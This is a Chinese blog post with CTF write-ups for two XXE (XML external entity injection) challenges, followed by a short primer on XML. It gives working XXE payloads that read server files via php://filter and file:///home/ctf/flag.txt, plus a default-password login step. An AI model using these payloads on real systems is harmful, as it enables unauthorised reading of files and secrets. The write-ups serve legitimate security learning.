CTF中关于XXE(XML外部实体注入)题目两道

题目:UNCTF-Do you like xml?

链接:http://112.74.37.15:8008/

hint:weak password (弱密码)

1、观察后下载图片拖进WINHEX发现提示:flag in flag.php , 进入112.74.37.15:8080/flag.php 发现啥也没有 需要拿下php文件好好看看

2、根据题目hint 尝试登陆 账号密码统一admin 提示登陆成功  bp发现为xxe (XML外部实体注入)

3、构造一下xxe 进行base64解密 得到flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">  ]>
<user><username>&xxe;</username><password>admin</password></user>

解密结果如下:

<?php
$flag="flag{19d5c4d4d138d850a773bae8bfc978f0}";
?>

 

题目:Jarvis-api调用

链接:http://web.jarvisoj.com:9882/

hint:请设法获得目标机器/home/ctf/flag.txt中的flag值

 

1、查看源代码:

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

上bp发现这段代码也只是向后台发送数据包而已,回显的信息能看到是用python/2.7.6写的 其他没啥信息

猜测XXE 将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">  ]>
<tq>&xxe;</tq>

 

附:

xml(extensible markup language)扩展标记语言。用来描述数据。xml中标记是自定义,它使用DTD或者schema来描述数据。

总结:xml用来组织,存储和发送信息的。

1、xml和html的区别:

xml 重点:描述和存放数据。

html 重点:如何把数据更好的现实在页面上。

2、xml的标记分类:

单标记<标记名称 />

双标记<标记名称>....</标记名称>

 

参考文章:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html

posted @ 2019-11-13 20:07  你知道是我的  阅读(3185)  评论(0编辑  收藏  举报
黔ICP备19000070号